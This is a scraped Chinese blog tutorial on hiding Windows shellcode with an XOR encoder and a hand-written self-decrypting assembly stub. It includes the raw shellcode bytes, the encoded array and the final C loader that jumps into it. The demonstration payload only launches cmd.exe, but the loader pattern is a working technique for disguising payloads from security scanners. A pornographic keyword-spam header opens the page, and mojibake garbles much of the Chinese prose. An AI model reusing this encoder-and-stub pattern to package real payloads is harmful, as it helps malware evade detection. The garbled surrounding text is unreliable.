日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

利用xor给shellcode加壳

發(fā)布時間:2023/12/1 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 利用xor给shellcode加壳 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

首先看我們的shellcode,執(zhí)行彈出cmd
沒有shellcode:

#include "stdio.h" #include "windows.h" #include <string.h> #include "stdlib.h"int main(int argc, char* argv[]) {printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";__asm{mov eax,strpush 5 ;5=SW_SHOWpush eaxmov eax,0x755bdab0 //call dword ptr [WinExec]call eax}return 0;}

將匯編改成shellcode,注意mov eax,0x755bdab0,后面0x755bdab0是WinExec函數(shù)的地址,每個機(jī)子可能不一樣,請查看下自己機(jī)子這個函數(shù)的地址(將mov eax,0x755bdab0改成call dword ptr [WinExec],當(dāng)執(zhí)行call dword ptr [WinExec]時,查看eip的值就是WinExec的地址),不要用call dword ptr [WinExec],雖然也能彈出cmd,但是對后面有很大影響,我試了,解碼后彈不出cmd(我也不知道為啥,我一開始就是用這個的,浪費(fèi)我好長時間)。

#include "stdio.h" #include "windows.h" #include <string.h> #include "stdlib.h" char key=0x51; char shellcode[]="\x8B\x45\xF4\x6A\x05\x50\xB8\xB0\xDA\x5B\x75\xFF\xD0";int main(int argc, char* argv[]) {printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";__asm{lea eax,shellcodecall eax}return 0; }


利用xor給shellcode加密,加密的程序?yàn)?#xff1a;

#include "stdio.h" #include "windows.h" #include <string.h> #include "stdlib.h" char key=0x51; char shellcode[]="\x8B\x45\xF4\x6A\x05\x50\xB8\xB0\xDA\x5B\x75\xFF\xD0";unsigned char decodeShellCode[200];int main(int argc, char* argv[]) {printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";int length=sizeof(shellcode)/sizeof(shellcode[0]);for (int i=0;i<length-1;i++){ printf("\\x%0.2x",shellcode[i]); decodeShellCode[i]=shellcode[i]^key;printf("\t");printf("\\x%0.2x",decodeShellCode[i]);printf("\n");}return 0; }


將shellcode加密,然后輸出來,后面的是加密后的shellcode,將后面的粘貼復(fù)制到一個數(shù)組里

char encodeSC[]="\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";

將加密的shellcode加載到內(nèi)存里,然后動態(tài)在內(nèi)存里改回來

先解密要執(zhí)行的代碼,然后再跳到解密后哪里執(zhí)行加載整個shellcode到內(nèi)存,前面專門解密后面的部分,再執(zhí)行,就是加載整個外殼代碼到內(nèi)存,前面專門解密后面的部分,再執(zhí)行

解密的程序?yàn)?#xff1a;

__asm{add eax,24mov ecx,13xor edx,edx decode:mov bl,byte ptr ds:[eax+edx]xor bl,51hmov byte ptr ds:[eax+edx],blinc edxloop decode}

將這段程序反匯編,找出機(jī)器碼
程序中24是這段機(jī)器碼的長度,13是我們的shellcode長度
將機(jī)器碼放到我們加密的shellcode前面

char decodeSC[]="\x83\xC0\x18\xB9\x0d\x00\x00\x00\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3E\x88\x1C\x10\x42\xE2\xF2" "\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";

最終程序

#include "stdio.h" #include "windows.h" #include <string.h> #include "stdlib.h" char key=0x51;char decodeSC[]="\x83\xC0\x18\xB9\x0d\x00\x00\x00\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3E\x88\x1C\x10\x42\xE2\xF2" "\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";int main(int argc, char* argv[]) {printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";__asm{lea eax,decodeSCpush eaxret }return 0; }


思路:

  • 找出我們要執(zhí)行的shellcode
  • 利用xor給shellcode加密成encodeShellcode
  • 再寫個匯編,用于解密encodeShellcode,再寫匯編時,要注意這個匯編產(chǎn)生的機(jī)器碼長度(mov eax,24,24就是這個匯編機(jī)器碼的長度)
  • 找出匯編的機(jī)器碼,放在加密的shelcode前面
  • 將數(shù)組地址賦給eax,push eax,ret
  • 建議反匯編的時候,一步步執(zhí)行,我們就能看到動態(tài)修改加密后的shellcode了

    總結(jié)

    以上是生活随笔為你收集整理的利用xor给shellcode加壳的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。